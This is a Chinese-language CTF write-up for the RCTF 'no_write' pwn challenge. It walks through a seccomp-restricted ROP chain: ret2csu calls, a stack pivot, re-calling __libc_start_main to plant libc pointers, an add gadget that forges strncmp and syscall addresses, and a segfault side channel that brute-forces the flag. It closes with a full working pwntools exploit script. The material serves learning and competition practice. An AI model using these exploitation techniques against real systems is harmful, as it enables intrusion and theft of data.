RCTF_pwn_no_write

这道题ban掉了打印函数,当时比赛的时候找到了相关的SROP开启沙盒的博客,也知道了要考虑用strncmp来进行flag的单字节的爆破。但是我一鼓作气再而衰了,第二天没太玩命,利用脚本没有写出来,
SROP对于我还说还是套脚本…
来复现一下ruan大佬的脚本
ruan博客

检测

这里我使用了seccomp-tools工具
命令seccomp-tools dump ./no_write

 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x06 0x00 0x40000000  if (A >= 0x40000000) goto 0010
 0004: 0x15 0x04 0x00 0x00000002  if (A == open) goto 0009
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 0009
 0007: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0009
 0008: 0x06 0x00 0x00 0x00000000  return KILL
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

发现程序仅仅让使用open,read,exit这几个调用,剩下全部KILL。
程序保护

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

思路

我的本来思路是利用SROP打包一个任意函数调用的函数,然后通过open将flag读入内存,在read参与爆破的字符进内存,利用strncmp来进行比较。但是失败了。
然后本次脚本的利用是重新调用__libc_start_main实现在可控制内存内读入一些libc空间地址。然后通过add一个偏移来实现将我们想要执行的函数指针写入可控制内存
然后进行比较

将libc指针写入内存

我们在这里用到的指针为strncmp指针,还有syscall。
调用__libc_start_main会在内存内写入initial,exit_funcs_lock的libc地址,首先我们来实现call cs:__libc_start_main_ptr
这里我们利用ret2__libc_csu_init来进行三个参数的函数调用的打包。

def ret_csu(func,arg1=0,arg2=0,arg3=0):
	payload = ''
	payload += p64(0)+p64(1)+p64(func)
	payload += p64(arg1)+p64(arg2)+p64(arg3)+p64(0x000000000400750)+p64(0)
	return payload

IDA反编译代码

text:0000000000400750 loc_400750:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400750                 mov     rdx, r15
.text:0000000000400753                 mov     rsi, r14
.text:0000000000400756                 mov     edi, r13d
.text:0000000000400759                 call    qword ptr [r12+rbx*8]
.text:000000000040075D                 add     rbx, 1
.text:0000000000400761                 cmp     rbp, rbx
.text:0000000000400764                 jnz     short loc_400750
.text:0000000000400766
.text:0000000000400766 loc_400766:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400766                 add     rsp, 8
.text:000000000040076A                 pop     rbx
.text:000000000040076B                 pop     rbp
.text:000000000040076C                 pop     r12
.text:000000000040076E                 pop     r13
.text:0000000000400770                 pop     r14
.text:0000000000400772                 pop     r15
.text:0000000000400774                 retn

构造read(0,0x601350,0x400)与leave_(0x6013f8)_ret来实现将stack迁移到0x6013f8空间段。

pppppp_ret=0x40076A
payload = "A"*0x18+p64(pppppp_ret)+ret_csu(read_got,0,0x601350,0x400)
payload += p64(0)+p64(0x6013f8)+p64(0)*4+p64(leave_tet)
payload = payload.ljust(0x100,'\x00')
p.send(payload)

然后调用__libc_start_main来实现往0x601300段写入地址

payload = "\x00"*(0x100-0x50)
payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main)
payload = payload.ljust(0x400,'\x00')
p.send(payload)

如下,此刻0x601310为__exit_funcs_lock的真实地址,0x601318为initial的真实地址

gdb-peda$ x/32gx 0x601300
0x601300:	0x0000000000000000	0x0000000000000000
0x601310:	0x00007febdbf76628	0x00007febdbf72d80
0x601320:	0x00007febdbbc9489	0x0000000000000000
0x601330:	0x00000000004006e5	0x00000400dbc96081
0x601340:	0x0000000000601350	0x00007febdbc96081
0x601350:	0x000000000040076a	0x00000000ffd98790
0x601360:	0x0000000000601355	0x0000000000000000
0x601370:	0x0000000000000000	0x0000000000000000
0x601380:	0x0000000000000000	0x00000000004005e8
0x601390:	0x000000000040076a	0x00000000ffce234d
0x6013a0:	0x000000000060134d	0x0000000000000000
0x6013b0:	0x0000000000000000	0x0000000000000000
0x6013c0:	0x0000000000000000	0x00000000004005e8
0x6013d0:	0x000000000040076a	0x0000000000000000
0x6013e0:	0x0000000000000001	0x0000000000600fd8
0x6013f0:	0x0000000000000000	0x0000000000601800

改写libc指针

这里用到了一段奇异的代码,也是我没想到的代码,这段指令的相对位置为__do_global_dtors_aux+0x18,代码为

   0x4005e8 <__do_global_dtors_aux+24>:	add    DWORD PTR [rbp-0x3d],ebx
   0x4005eb <__do_global_dtors_aux+27>:	nop    DWORD PTR [rax+rax*1+0x0]
   0x4005f0 <__do_global_dtors_aux+32>:	repz ret 

如图,可以对rbp-0x3d的值进行add操作,我们控制rbp-0x3d为指向initial的指针,就能对initial进行一个任意偏移的add,实现写入任意libc地址。

offset = 0x267870 #initial - __strncmp_sse42
payload = p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff)
payload += p64(0x601318+0x3D)+p64(0)*4+p64(0x4005E8)
offset = 0x31dcb3 # __exit_funcs_lock - syscall
payload += p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff)
payload += p64(0x601310+0x3D)+p64(0)*4+p64(0x4005E8)
p.send(payload)

这样我们就实现在0x601318处写入__strncmp_sse42,在0x601310处写入syscall.
查看效果

gdb-peda$ x/2gx 0x601310
0x601310:	0x00007febdbc58975	0x00007febdbd0b510
gdb-peda$ x/gi 0x00007febdbc58975
   0x7febdbc58975 <__time_syscall+5>:	syscall 
gdb-peda$ x/gi 0x00007febdbd0b510
   0x7febdbd0b510 <__strncmp_sse42>:	test   rdx,rdx

读入flag

这里由于我们已经有了syscall的地址,我们通过read(0,xxx,2)来实现控制eax=2

payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601800,2)
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(0x601310,0x601350+0x3f8,0,0)	#open flag
payload += p64(0)*6
payload += p64(pppppp_ret)+ret_csu(read_got,3,0x601800,0x100)	#read flag
payload += p64(0)*6

读入字符,进行flag爆破

这里我们面临最后一个问题,如何去进行strncmp是否的判断,这里用的是将字符读入0x601fff,然后进行strncmp(0x601800+i,0x601fff,2)的判断,如果0x601fff处字符正确,
程序去读取0x602000,从而引发segment fault.

payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601ff8,8)
# now we can cmp the flag one_by_one
payload += p64(0)*6	
payload += p64(pppppp_ret)+ret_csu(0x601318,0x601800+i,0x601fff,2)
payload += p64(0)*6	
for _ in range(4):
	payload += p64(p_rdi)+p64(0x601700)+p64(p_rsi_r15)+p64(0x100)+p64(0)+p64(readn)
	
payload = payload.ljust(0x3f8,'\x00')
payload += "flag\x00\x00\x00\x00"
p.send(payload)
p.send("dd"+"d"*7+j)

如图,若flag正确,程序报错
RCTF_pwn_no_write_第1张图片
当flag字符错误时,程序可以跳出strncmp向下执行
RCTF_pwn_no_write_第2张图片

exp

from pwn import *
import string
context.arch='amd64'

def ret_csu(func,arg1=0,arg2=0,arg3=0):
	payload = ''
	payload += p64(0)+p64(1)+p64(func)
	payload += p64(arg1)+p64(arg2)+p64(arg3)+p64(0x000000000400750)+p64(0)
	return payload
def main(host,port=2333):
	charset = '}{_'+string.digits+string.letters
	flag = ''
	for i in range(0x30):
		for j in charset:
			try:
				p = process("./no_write")
				pppppp_ret = 0x00000000040076A
				read_got = 0x000000000600FD8
				call_libc_start_main = 0x000000000400544
				p_rdi = 0x0000000000400773
				p_rsi_r15 = 0x0000000000400771
				# 03:0018|	0x601318 -> 0x7f6352629d80 (initial) <-0x0
				offset = 0x267870 #initial - __strncmp_sse42
				readn = 0x0000000004006BF
				#gdb.attach(p,"b *0x40076A")
				leave_tet = 0x00000000040070B
				payload = "A"*0x18+p64(pppppp_ret)+ret_csu(read_got,0,0x601350,0x400)
				payload += p64(0)+p64(0x6013f8)+p64(0)*4+p64(leave_tet)
				payload = payload.ljust(0x100,'\x00')
				p.send(payload)
				sleep(0.3)
				payload = "\x00"*(0x100-0x50)
				payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main)
				payload = payload.ljust(0x400,'\x00')
				p.send(payload)
				sleep(0.3)
				# 0x601318
				payload = p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff)
				payload += p64(0x601318+0x3D)+p64(0)*4+p64(0x4005E8)
				# 0x00000000000d2975: syscall; ret;
				# 02:0010|            0x601310 -> 0x7f61d00d8628 (__exit_funcs_lock) <- 0x0
				offset = 0x31dcb3 # __exit_funcs_lock - syscall
				payload += p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff)
				payload += p64(0x601310+0x3D)+p64(0)*4+p64(0x4005E8)
				payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601800,2)
				payload += p64(0)*6
				payload += p64(pppppp_ret)+ret_csu(0x601310,0x601350+0x3f8,0,0)	#open flag
				payload += p64(0)*6
				payload += p64(pppppp_ret)+ret_csu(read_got,3,0x601800,0x100)	#read flag
				payload += p64(0)*6
				payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601ff8,8)
				# now we can cmp the flag one_by_one
				payload += p64(0)*6	
				payload += p64(pppppp_ret)+ret_csu(0x601318,0x601800+i,0x601fff,2)
				payload += p64(0)*6	
				for _ in range(4):
					payload += p64(p_rdi)+p64(0x601700)+p64(p_rsi_r15)+p64(0x100)+p64(0)+p64(readn)
					
				payload = payload.ljust(0x3f8,'\x00')
				payload += "flag\x00\x00\x00\x00"
				p.send(payload)
				sleep(0.3)
				p.send("dd"+"d"*7+j)
				sleep(0.5)
				p.recv(timeout=0.5)
				p.send("A"*0x100)
				#pause()
				p.close()
				# p.interactive()
			except EOFError:
				flag += j
				print flag
				if(j == '}'):
					exit()
				p.close()
				# pause()
				break
if __name__ == "__main__":
	# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
	main(0)

总结

重新调用__libc_start_main来往bss段弹入libc空间地址我之前是没学到的,配合__do_global_dtors_aux+0x18可以轻松的实现写入任意函数地址的效果。

你可能感兴趣的:(RCTF_pwn_no_write)